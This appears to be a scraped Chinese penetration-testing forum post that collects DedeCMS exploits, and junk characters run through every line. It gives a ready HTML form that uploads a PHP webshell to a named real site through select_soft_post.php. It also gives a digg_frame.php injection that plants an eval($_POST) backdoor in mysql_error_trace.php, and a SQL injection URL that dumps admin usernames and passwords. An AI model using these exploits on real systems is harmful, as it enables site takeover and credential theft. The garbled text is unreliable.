+ i& M; }! l, z  `, |$ G- G/ |8 f( c, G  p: D( N9 p
( V) e/ ~5 A  z# }
& r! t( c. G4 ^, i
( h" ~; h9 i$ |) Q
7 \- h8 k$ Q5 I3 J* U: A
  J: V% z* I7 ^) J) `, E
9 R! A9 h5 I% c! l) g
5 F& _7 d, d+ k% `9 F: z# s
织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
! J8 |( L2 X+ @<html>. ^4 s3 R9 D$ ]  V  f- I9 R' s4 A7 U: Q
<head>
- a+ v! r% Q9 c" \# H<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
$ s; o9 Q: d* Y. `" N# y2 i</head>( y" o% Z4 \: R8 x. b& t7 d) J  V
<body style="FONT-SIZE: 9pt">
* j$ m, a4 C0 K5 U---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />/ @1 t& e6 A. g" F# ]2 l& a3 `, r" a
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
& I2 @" l' h5 W' m/ p) E<input type='hidden' name='activepath' value='/data/cache/' />
8 Z2 N/ R- Y% ]<input type='hidden' name='cfg_basedir' value='../../' /># j( @, g7 r! v. }! f+ i
<input type='hidden' name='cfg_imgtype' value='php' />
" }( I5 \8 H' w2 b8 P) l9 s<input type='hidden' name='cfg_not_allowall' value='txt' />: G, u* o0 y( e/ |  e( d$ c0 u1 w
<input type='hidden' name='cfg_softtype' value='php' />
4 _& N  ~9 q, L2 g8 z' j, Z<input type='hidden' name='cfg_mediatype' value='php' />; i7 ]* p/ {+ c/ t9 b
<input type='hidden' name='f' value='form1.enclosure' />
8 p* H  v" `" C; I<input type='hidden' name='job' value='upload' />
/ r3 R" J7 n: l- V/ T, L<input type='hidden' name='newname' value='fly.php' />- A7 z+ ~/ u0 T' a6 X+ O
Select U Shell <input type='file' name='uploadfile' size='25' />
) c/ E" M& P6 f) p* b1 Z<input type='submit' name='sb1' value='确定' />. `, G. Y* }4 X. {( t4 ], n
</form>. f1 h7 Y, A# p" N4 Q
<br />It's just a exp for the bug of Dedecms V55...<br />
1 j: L5 A# Y# DNeed register_globals = on...<br />  C! s( E& J- I8 u% z6 q* A: c
Fun the game,get a webshell at /data/cache/fly.php...<br />
! K$ B) _0 H- m! X! b  ?</body>0 E5 H$ b; b0 q# j. o+ J4 ?
</html>
- Z, \( w1 J' u! \% I0 ?  B  E% H- d7 [1 [6 Q$ F

' m3 I- F9 }) O7 K1 @+ A
  j% k! b% P6 ]& @; B
4 L- K& k" f7 m. R' N! }. E
/ u# a7 V, P' m: J( n7 S$ b" Z# w1 b5 I( v
: B6 `, l9 X* k* w# q
4 `$ A/ N; x% y
. s7 u& V! [! I# U) `5 _9 Q
7 e' ~' }/ ]& m. y3 T
织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞! O) j  T! V! {" n7 l/ i; h' h$ }
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。8 w8 K8 O3 `( {' m5 b5 Z5 ~& ]
1. 访问网址:% F+ R1 B  d1 C; E" `
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
& n* v+ u: y1 G5 R3 Q! `) o( H可看见错误信息( b; U" t2 k) V8 c! \- i2 [( q. r
* ?8 @  d0 B  U4 k

. ~& V, g* A0 c. Q2. 访问
http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
: a$ U  }; u( T& E0 u6 b- r6 Rint(3) Error: Illegal double '1024e1024' value found during parsing
  h* o! T5 M3 q7 q% {Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>4 y3 A5 W3 W; a; M6 V! Y6 Y
9 o% S+ G9 A* ]; s; K2 }
7 `; c- ~; V/ ?7 t
3. 执行dede.rar里的文件 test.html,注意 form 中 action 的地址是7 }' k# V1 @- {

1 t) X3 f1 R3 s6 ~$ t1 {! V3 W! ~* Q4 [! b
<form action=”
http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>! W9 k/ Y6 }" C

3 z: F! Q( ~6 M/ ]# M
7 Z& K1 d% Y, J- l, H按确定后的看到第2步骤的信息表示文件木马上传成功.: j5 F$ i* x1 k& S

5 ]2 |, M2 t" p% g- e; ^" v) E. H& k8 N, j  x7 f* @) x

9 |; u& ]8 O2 {+ d0 a( G
5 `# `* Y6 j9 j* X/ M% ?; [; h2 N
1 j* }2 ~0 Z6 U% n! |7 u5 W
% a$ }: S9 G) x8 [# |* n2 A9 \! J% s7 q" M4 `% h$ j, U
9 U) ]& u, W! U% r

3 Y2 D. G. t' j' D
; W- h" x& L" _$ E' k$ G2 y# g3 m! I0 h
: _# L, u" {5 }5 R- S
织梦(DedeCms)plus/infosearch.php 文件注入漏洞
% W" ]1 \2 L1 q  S% Yhttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2